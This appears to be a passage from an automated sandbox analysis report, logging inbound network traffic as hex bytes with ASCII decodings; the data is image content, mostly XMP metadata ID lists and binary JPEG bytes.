64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 61 39 39 31 66 66 33 2d 35 64 62 66 2d 66 64 
34 37 2d 38 66 37 39 2d 32 37 30 39 38 39 61 31 33 30 62 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 34 61 39 62 65 65 39 36 2d 36 32 65 32 2d 34 30 31 66 2d 38 38 61 63 2d 32 31 38 31 30 39 30 63 
39 32 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: <rdf:li>xmp.did:4FF8EE71BD41E011A7F8D8AEB89D7D70</rdf:li> <rdf:li>xmp.did:4a4e4909-9e3f-2941-8205-
e55351d91c7a</rdf:li> <rdf:li>xmp.did:4a991ff3-5dbf-fd47-8f79-270989a130b5</rdf:li> <rdf:li>xmp.did:4a9bee96-62e2-
401f-88ac-2181090c9299</rdf:li> <rdf:li>xmp
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2022-05-13 14:42:07 UTC 6099 IN Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 46 44 38 36 35 44 36 35 32 31 36 38 31 31 41 36 31 33 38 
45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 
66 34 62 35 62 30 2d 32 31 36 38 2d 34 35 30 33 2d 38 30 33 63 2d 34 39 34 64 63 36 39 30 37 65 30 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 35 31 35 31 31 39 38 2d 31 30 35 35 2d 62 34 34 35 
2d 61 66 31 64 2d 62 31 30 31 63 30 36 30 62 66 37 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 35 35 32 37 35 39 61 38 2d 33 61 65 33 2d 34 33 32 39 2d 61 62 63 33 2d 38 63 62 36 61 36 64 61 65 31 
33 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
Data Ascii: df:li>xmp.did:54FD865D65216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:54f4b5b0-2168-4503-803c-49
4dc6907e04</rdf:li> <rdf:li>xmp.did:55151198-1055-b445-af1d-b101c060bf7a</rdf:li> <rdf:li>xmp.did:552759a8-3ae3-
4329-abc3-8cb6a6dae13c</rdf:li> <rdf:li>xmp.d

2022-05-13 14:42:07 UTC 6115 IN Data Raw: 36 34 37 61 64 31 62 32 2d 36 35 66 38 2d 34 30 31 35 2d 39 36 65 33 2d 66 34 61 62 33 30 38 66 36 30 32 
66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 34 38 38 38 30 45 38 30 39 32 30 
36 38 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 36 34 39 33 39 34 35 44 44 37 32 30 36 38 31 31 39 37 41 35 46 43 37 42 34 41 33 32 36 34 42 35 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 34 39 34 43 44 31 39 34 46 32 30 36 
38 31 31 38 37 31 46 43 44 32 31 39 39 41 44 31 36 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 36 34 39 43 33 45 43 33 30 37 32 30 36 38 31 31 38 43 31 
Data Ascii: 647ad1b2-65f8-4015-96e3-f4ab308f602f</rdf:li> <rdf:li>xmp.did:648880E80920681192B0BAA904DE0F8D</rd
f:li> <rdf:li>xmp.did:6493945DD720681197A5FC7B4A3264B5</rdf:li> <rdf:li>xmp.did:6494CD194F206811871F
CD2199AD167E</rdf:li> <rdf:li>xmp.did:649C3EC3072068118C1

2022-05-13 14:42:07 UTC 6131 IN Data Raw: 70 2e 64 69 64 3a 37 33 38 33 42 46 45 30 30 38 32 30 36 38 31 31 38 46 36 32 45 38 44 44 34 41 39 46 38 
43 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 33 38 34 65 35 62 66 2d 32 
66 33 33 2d 37 65 34 39 2d 38 63 31 37 2d 62 62 33 30 37 65 33 31 61 36 61 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 33 39 45 39 37 33 46 35 31 32 32 36 38 31 31 38 36 33 44 43 36 38 36 39 46 
44 30 41 42 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 33 41 30 35 32 37 
32 31 33 32 30 36 38 31 31 41 46 37 34 42 37 41 39 36 44 38 45 41 38 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 33 41 41 33 44 46 34 32 42 32 30 36 
Data Ascii: p.did:7383BFE0082068118F62E8DD4A9F8CB8</rdf:li> <rdf:li>xmp.did:7384e5bf-2f33-7e49-8c17-
bb307e31a6a5</rdf:li> <rdf:li>xmp.did:739E973F51226811863DC6869FD0AB6D</rdf:li> <rdf:li>xmp.did:73A0
527213206811AF74B7A96D8EA8BE</rdf:li> <rdf:li>xmp.did:73AA3DF42B206

2022-05-13 14:42:07 UTC 6139 IN Data Raw: 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 42 46 46 30 39 43 31 
31 34 32 30 36 38 31 31 38 44 42 42 43 45 39 41 46 34 45 30 42 46 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 37 43 30 30 34 31 37 30 43 41 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 
38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 43 31 30 41 39 44 30 39 3
5 33 36 45 33 31 31 41 44 35 45 44 38 38 36 31 42 32 39 42 37 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 37 43 32 34 32 39 34 45 32 35 32 30 36 38 31 31 41 39 36 31 45 38 46 46 38 32 42 38 31 43 
45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: DD</rdf:li> <rdf:li>xmp.did:7BFF09C1142068118DBBCE9AF4E0BFCD</rdf:li> <rdf:li>xmp.did:7C004170CA20
68118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:7C10A9D09536E311AD5ED8861B29B79A</rdf:li> <rdf:li>xmp.
did:7C24294E25206811A961E8FF82B81CE1</rdf:li> <rdf:li>xmp

2022-05-13 14:42:07 UTC 6155 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 41 35 44 41 43 32 41 34 33 43 
34 45 30 31 31 38 43 34 33 43 46 32 35 43 46 43 31 42 31 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 38 41 36 37 34 44 46 31 37 44 32 30 36 38 31 31 38 30 38 33 43 37 45 39 41 42 30 44 33 33 32 
41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 41 36 44 44 32 32 32 31 38 32 30 3
6 38 31 31 39 32 42 30 39 44 43 44 33 35 32 31 38 41 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 38 41 37 37 42 36 35 38 42 43 44 33 44 45 31 31 38 32 30 35 41 44 35 39 31 42 44 34 43 42 34 45 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
Data Ascii: /rdf:li> <rdf:li>xmp.did:8A5DAC2A43C4E0118C43CF25CFC1B1A1</rdf:li> <rdf:li>xmp.did:8A674DF17D20681
18083C7E9AB0D332A</rdf:li> <rdf:li>xmp.did:8A6DD2221820681192B09DCD35218AAA</rdf:li> <rdf:li>xmp.did
:8A77B658BCD3DE118205AD591BD4CB4E</rdf:li> <rdf:li>xmp.di

2022-05-13 14:42:07 UTC 6171 IN Data Raw: 35 36 33 32 34 36 38 31 31 42 34 31 30 44 35 36 46 37 30 31 32 34 35 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 33 33 36 63 32 32 2d 65 38 38 31 2d 34 65 32 64 2d 62 31 31 66 2d 
63 39 35 38 33 30 34 61 65 62 65 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 
38 33 66 64 61 62 37 2d 32 63 32 31 2d 33 38 34 64 2d 61 39 65 62 2d 31 61 65 61 63 66 36 63 34 66 63 36 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 34 36 46 32 34 36 31 34 32 30 36 38 31 31 38 
38 43 36 39 36 39 45 31 35 33 41 35 37 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 39 38 34 38 37 36 36 43 30 39 32 30 36 38 31 31 39 35 42 42 38 45 
Data Ascii: 563246811B410D56F70124534</rdf:li> <rdf:li>xmp.did:98336c22-e881-4e2d-b11f-c958304aebe5</rdf:li> <
rdf:li>xmp.did:983fdab7-2c21-384d-a9eb-1aeacf6c4fc6</rdf:li> <rdf:li>xmp.did:9846F2461420681188C6969E153A57B8<
/rdf:li> <rdf:li>xmp.did:9848766C0920681195BB8E

2022-05-13 14:42:07 UTC 6179 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 30 35 34 36 37 45 38 34 35 32 30 
36 38 31 31 39 41 38 32 46 45 32 41 43 42 43 35 37 34 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 41 30 36 36 38 46 34 31 39 37 35 31 31 31 45 34 38 39 39 30 46 42 34 34 38 33 43 44 35 33 31 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 30 39 45 43 39 32 37 33 39 32 35 36 
38 31 31 38 30 38 33 43 44 30 41 42 33 37 37 31 45 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 41 30 41 44 45 35 46 44 35 45 42 31 45 30 31 31 39 46 41 31 43 35 45 43 31 44 31 30 41 31 36 32 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
Data Ascii: df:li> <rdf:li>xmp.did:A05467E8452068119A82FE2ACBC57436</rdf:li> <rdf:li>xmp.did:A0668F41975111E48
990FB4483CD5314</rdf:li> <rdf:li>xmp.did:A09EC927392568118083CD0AB3771E4F</rdf:li> <rdf:li>xmp.did:A
0ADE5FD5EB1E0119FA1C5EC1D10A162</rdf:li> <rdf:li>xmp.did:

2022-05-13 14:42:07 UTC 6195 IN Data Raw: 38 38 38 38 39 30 41 41 42 38 45 45 30 31 31 41 44 33 46 46 37 36 44 30 42 41 43 39 44 43 38 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 38 38 46 45 30 44 38 43 36 46 31 44 46 31 31 39 37 
31 42 38 39 34 31 30 33 36 31 36 33 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 42 38 41 30 34 46 35 34 32 31 32 30 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 38 42 38 31 38 42 46 30 46 32 30 36 38 31 31 38 41 36 
44 46 36 42 33 36 41 33 44 44 38 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
42 38 42 42 42 34 43 38 42 38 46 37 45 31 31 31 38 34 31 45 39 30 42 39 
Data Ascii: 888890AAB8EE011AD3FF76D0BAC9DC8</rdf:li> <rdf:li>xmp.did:B88FE0D8C6F1DF11971B89410361632
3</rdf:li> <rdf:li>xmp.did:B8A04F542120681183D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:B8B818BF0F20681
18A6DF6B36A3DD8DE</rdf:li> <rdf:li>xmp.did:B8BBB4C8B8F7E111841E90B9
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2022-05-13 14:42:07 UTC 6211 IN Data Raw: 30 41 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 46 41 39 38 35 39 30 31 37 32 30 36 38 31 31 38 41 36 44 42 39 31 46 45 
43 35 41 35 39 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 46 45 41 36 42 
42 46 30 45 32 30 36 38 31 31 38 30 38 33 39 33 34 42 39 31 43 43 36 33 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 30 30 42 34 41 30 44 39 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 
34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 30 31 37 45 43 31 
35 45 38 32 30 36 38 31 31 41 42 30 38 39 44 36 36 31 42 42 31 35 37 45 
Data Ascii: 0A2068118083BFD9A9F81730</rdf:li> <rdf:li>xmp.did:CFA98590172068118A6DB91FEC5A59F5</rdf:li> 
<rdf:li>xmp.did:CFEA6BBF0E2068118083934B91CC636A</rdf:li> <rdf:li>xmp.did:D00B4A0D96226811822A9E
418F455C5D</rdf:li> <rdf:li>xmp.did:D017EC15E8206811AB089D661BB157E

2022-05-13 14:42:07 UTC 6219 IN Data Raw: 31 31 41 34 35 36 46 46 38 34 37 32 32 37 33 31 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 44 38 32 38 43 46 33 32 32 33 32 31 36 38 31 31 42 41 37 32 46 39 44 44 43 38 46 46 32 36 42 
45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 38 33 30 39 34 46 41 42 45 32 31 
36 38 31 31 38 41 36 44 45 33 32 44 43 45 37 38 35 34 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 44 38 33 32 42 39 39 30 43 35 32 31 36 38 31 31 38 41 36 44 43 33 36 41 39 35 36 43 37 37 31 35 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 38 34 38 46 34 35 31 46 36 32 36 36 
38 31 31 38 43 31 34 46 31 45 38 34 42 43 43 43 39 45 41 3c 2f 72 64 66 
Data Ascii: 11A456FF8472273134</rdf:li> <rdf:li>xmp.did:D828CF3223216811BA72F9DDC8FF26BE</rdf:li> <rdf:li>xmp.
did:D83094FABE2168118A6DE32DCE785405</rdf:li> <rdf:li>xmp.did:D832B990C52168118A6DC36A956C7715</rdf:li> 
<rdf:li>xmp.did:D848F451F62668118C14F1E84BCCC9EA</rdf

2022-05-13 14:42:07 UTC 6235 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 31 42 42 44 37 44 36 39 32 46 44 45 32 31 31 39 43 38 
45 42 31 42 39 33 38 45 33 30 38 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
46 31 44 44 42 37 35 35 46 30 32 30 36 38 31 31 38 37 31 46 44 46 41 43 34 39 36 35 33 34 35 35 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 31 46 34 43 44 30 30 35 32 39 45 45 31 31 31 38 34 46 39 
43 30 34 45 34 44 44 37 46 38 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 
32 30 39 36 31 36 35 39 43 30 44 31 31 45 35 41 38 43 35 44 45 43 41 42 39 35 45 33 39 36 39 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 32 30 42 38 43 32 
Data Ascii: <rdf:li>xmp.did:F1BBD7D692FDE2119C8EB1B938E308EC</rdf:li> <rdf:li>xmp.did:F1DDB755F02068
11871FDFAC49653455</rdf:li> <rdf:li>xmp.did:F1F4CD00529EE11184F9C04E4DD7F84B</rdf:li> <rdf:li>xmp.di
d:F20961659C0D11E5A8C5DECAB95E3969</rdf:li> <rdf:li>xmp.did:F20B8C2

2022-05-13 14:42:07 UTC 6251 IN Data Raw: 36 38 31 31 38 38 43 36 41 41 46 43 35 42 45 30 33 33 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 44 42 34 39 38 32 44 39 30 
32 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 
32 30 36 38 31 31 38 43 31 34 45 36 39 32 45 44 44 36 31 37 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 38 42 44 46 41 44 33 34 39 41 
46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 
30 36 38 31 31 38 46 36 32 38 43 34 41 32 30 39 43 38 39 38 35 3c 2f 72 
Data Ascii: 681188C6AAFC5BE03362</rdf:li> <rdf:li>xmp.did:FA7F11740720681188C6DB4982D90274</rdf:li> <rdf:li>xm
p.did:FA7F1174072068118C14E692EDD61727</rdf:li> <rdf:li>xmp.did:FA7F1174072068118F628BDFAD349AF6</rdf:li> 
<rdf:li>xmp.did:FA7F1174072068118F628C4A209C8985</r

2022-05-13 14:42:07 UTC 6255 IN Data Raw: 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 31 33 46 34 36 33 39 41 32 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 35 46 45 45 32 31 
34 30 41 37 30 34 35 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 
31 31 37 34 30 37 32 30 36 38 31 31 39 44 42 33 44 32 33 32 39 44 31 34 46 35 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 45 41 43 46 37 37 44 
30 32 35 44 44 36 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 31 
31 37 34 30 37 32 30 36 38 31 31 42 38 34 30 45 31 34 31 39 38 39 36 45 
Data Ascii: 74072068119109D13F4639A231</rdf:li> <rdf:li>xmp.did:FC7F11740720681195FEE2140A7045F3</rdf:li> <rdf
:li>xmp.did:FC7F1174072068119DB3D2329D14F507</rdf:li> <rdf:li>xmp.did:FC7F117407206811AEACF77D025DD6
A1</rdf:li> <rdf:li>xmp.did:FC7F117407206811B840E1419896E

2022-05-13 14:42:07 UTC 6271 IN Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 63 30 36 66 35 35 39 36 2d 39 31 35 66 2d 34 35 63 61 2d 61 63 62 37 2d 35 
30 32 35 30 63 36 31 38 31 66 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 30 
37 62 32 61 33 31 2d 39 33 63 31 2d 34 64 30 61 2d 61 31 63 36 2d 31 33 61 33 30 65 65 66 66 63 32 37 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 30 65 39 37 35 65 30 2d 36 39 61 62 2d 36 34 34 38 
2d 38 36 62 66 2d 66 66 31 31 36 30 65 32 66 30 62 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 63 31 33 34 65 65 38 64 2d 36 65 31 33 2d 34 35 34 33 2d 61 61 63 39 2d 64 35 62 31 38 38 64 30 30 63 
63 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
Data Ascii: i>xmp.did:c06f5596-915f-45ca-acb7-50250c6181f5</rdf:li> <rdf:li>xmp.did:c07b2a31-93c1-4d0a-a1c6-13
a30eeffc27</rdf:li> <rdf:li>xmp.did:c0e975e0-69ab-6448-86bf-ff1160e2f0bd</rdf:li> <rdf:li>xmp.did:c134ee8d-6e13-4543-
aac9-d5b188d00cc8</rdf:li> <rdf:li>xmp.d

2022-05-13 14:42:07 UTC 6287 IN Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 35 38 66 34 35 36 61 2d 34 33 38 37 2d 37 38 34 35 2d 61 64 39 65 2d 
32 63 61 61 31 36 37 65 64 62 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 
35 39 65 65 38 63 30 2d 62 37 37 62 2d 34 37 31 39 2d 62 61 63 34 2d 37 66 30 34 61 33 32 36 30 30 32 34 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 35 62 39 30 61 61 34 2d 32 66 37 38 2d 34 38 36 
30 2d 62 39 30 33 2d 63 34 39 63 31 38 64 30 65 66 61 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 66 35 65 62 31 30 38 65 2d 34 33 63 36 2d 66 31 34 39 2d 61 32 62 64 2d 37 30 61 39 63 61 32 38 30 
63 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
Data Ascii: li>xmp.did:f58f456a-4387-7845-ad9e-2caa167edb90</rdf:li> <rdf:li>xmp.did:f59ee8c0-b77b-4719-bac4-7
f04a3260024</rdf:li> <rdf:li>xmp.did:f5b90aa4-2f78-4860-b903-c49c18d0efa2</rdf:li> <rdf:li>xmp.did:f5eb108e-43c6-
f149-a2bd-70a9ca280c15</rdf:li> <rdf:li>xmp.

2022-05-13 14:42:07 UTC 6294 IN Data Raw: 70 00 8e 00 22 70 c0 8f 3c 02 22 46 01 11 a6 18 85 4c 31 0b 08 63 7e ec 03 16 00 1b 0c 08 d7 00 86 c0 02 c0 
02 c0 31 1c f0 01 13 80 91 a9 86 04 48 c0 04 48 a6 19 23 11 9e 00 18 8c f0 00 d4 a6 00 18 e1 88 6a 60 01 53 00 0c 46 
00 1a 98 00 54 c0 02 c0 03 53 3c 31 08 0c 21 8f 4c 00 2a 60 01 53 00 0b 4e 78 62 15 30 0e 07 d3 80 07 03 00 12 0b 9e 
14 8e 02 ed b6 fb 9b b6 09 6f 13 3b 1e 1a 41 38 ca d9 15 78 b3 6a e2 b5 b8 20 e5 f6 ce ec d2 76 7e 96 5e e7 86 83 8c 7f 
b8 a7 19 46 eb a5 bf 08 61 b3 fb 13 7f b7 34 7b 39 2a 05 72 15 c4 2e af 1b e6 6a fa 2c 8b 91 8d 75 b7 5c d8 c9 db b9 89 
a3 7f 06 04 1f db 8e 9a e4 56 e0 ce 4b e2 b5 78 a0 72 98 d2 4c 60 8e 83 82 45 03 a2 80 d9 e0 63 47 55 b4 25 b3 cf 0b 98 
97 22 35 1e 15 a7 86 3c cc b3 0d 49 ec 61 55 6d 38 3d 68 7b 8a 
Data Ascii: p"p<"FL1c~1HH#j`SFTS<1!L*`SNxb0o;A8xj v~^Fa4{9*r.j,u\VKxrL`EcGU%"5<IaUm8=h{

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 6310 IN Data Raw: 91 00 d2 b9 f3 c7 6e 2a 34 ce 4c 97 4d 1c 32 dd ac 32 d6 42 4a 72 a1 e7 8f 57 6c a3 c9 df 0f 50 b5 f7 34 60 14 
78 45 0f 31 c7 19 f9 0f b4 bf ee 57 60 df d7 62 ff 00 e2 50 bf bf 07 92 f9 8f cf 5c 8c 4d c6 f2 4b b9 4b 39 cb 96 3a f1 d7 6a 
38 72 5d d9 81 71 c6 a6 03 a6 91 ea 15 c0 34 48 b2 d2 98 45 14 9c 51 04 74 e1 c9 23 53 0c 08 91 80 06 a6 01 0b 00 c6 
c0 21 9b 0c 08 d3 0c 43 73 c0 03 53 00 0d 80 43 1c 00 36 18 0a 98 00 40 1c 00 58 90 3b 82 54 64 31 2d a2 d5 5b 1a 98 
64 9a be dd b5 b6 bc be 48 6e 94 b4 6d 90 19 f1 3c f2 c7 36 7b 3a d6 51 d7 d3 d5 5a d0 cf 4d 93 fb 61 b6 5d 5c 01 0b 15 
89 40 d4 17 89 fb f1 e2 2e b6 c9 1e eb e8 68 d9 ce 6f 9f da fd c2 c5 d9 f6 ea dc 46 33 d2 07 50 1f c7 1d d8 ba e4 fe 2d 0e 
0c bd 03 5a d4 e5 af 3d b9 ba d8 10 2e 2d a4 42 7c 
Data Ascii: n*4LM22BJrWlP4`xE1W`bP\MKK9:j8r]q4HEQt#S!CsSC6@X;Td1-[dHnm<6{:QZMa]\@.hoF3P-Z=.-B|

2022-05-13 14:42:07 UTC 6326 IN Data Raw: 00 2a 60 90 23 4c 31 0d 86 21 53 00 c6 a6 00 81 88 c0 48 d4 c0 03 d3 01 43 53 00 1f ff d2 f4 ac 7d 61 f1 a2 
a6 00 15 30 00 b0 c4 35 30 86 3d 30 00 f8 00 7a e0 18 e0 e1 00 ab 86 21 0c 00 38 c0 31 60 01 e9 80 42 a6 10 0b 0c 62 
c0 21 60 01 60 01 f0 00 c7 00 0b 00 0b 00 0b 00 0b 00 0d 80 05 80 05 80 06 38 04 2c 00 2c 30 16 18 0a 98 40 3e 00 1b 
00 0f 84 02 c3 91 0f 4c 21 8b 00 0f 80 62 c0 22 40 d3 00 c5 5c 21 8e 0e 10 0f 5c 03 16 00 1f 00 0a b8 00 7a e0 1a 16 00 
62 ae 01 0b 00 0a b8 40 3d 70 00 81 c0 32 75 c2 18 da b0 00 da 8e 01 48 f5 c0 31 c1 35 cb 08 66 ad bc e2 58 18 48 73 1
9 57 1c d6 50 ce ba da 51 94 dc 71 d2 72 32 3a a9 86 22 41 ce 10 e4 36 09 1e 82 87 3c 63 64 74 d6 cc e9 36 c4 8c f5 cc 
7a 87 2c 70 5f b8 f4 71 f7 96 bd c5 bc 93 f6 a8 c3 13 b5 c4 95 b9 
Data Ascii: *`#L1!SHCS}a050=0z!81`Bb!``8,,0@>L!b"@\!\zb@=p2uH15fXHsWPQqr2:"A6<cdt6z,p_q

2022-05-13 14:42:07 UTC 6334 IN Data Raw: 0c af a9 cd ff 00 41 9c 6a 8d 9d 7b 79 81 e6 31 d7 e6 a3 93 cb 39 ad f5 2c 6c 50 db 24 60 4b e2 31 df 85 da 
da 9c 19 f6 d5 41 ca 91 e1 8f 40 f2 88 d3 0c 0f ff d7 fa 85 ad 23 96 50 e8 80 d7 88 3e 18 e8 dc 73 6d 05 bf 4d 2a d1 db ae 
90 38 01 e3 8d 28 fb 4c ee bb 0c fb 05 9c 23 34 bc 09 ca bc 71 ad e3 91 8d 27 99 65 ec b1 98 7e 9e 43 4d 58 54 4e 64 77 
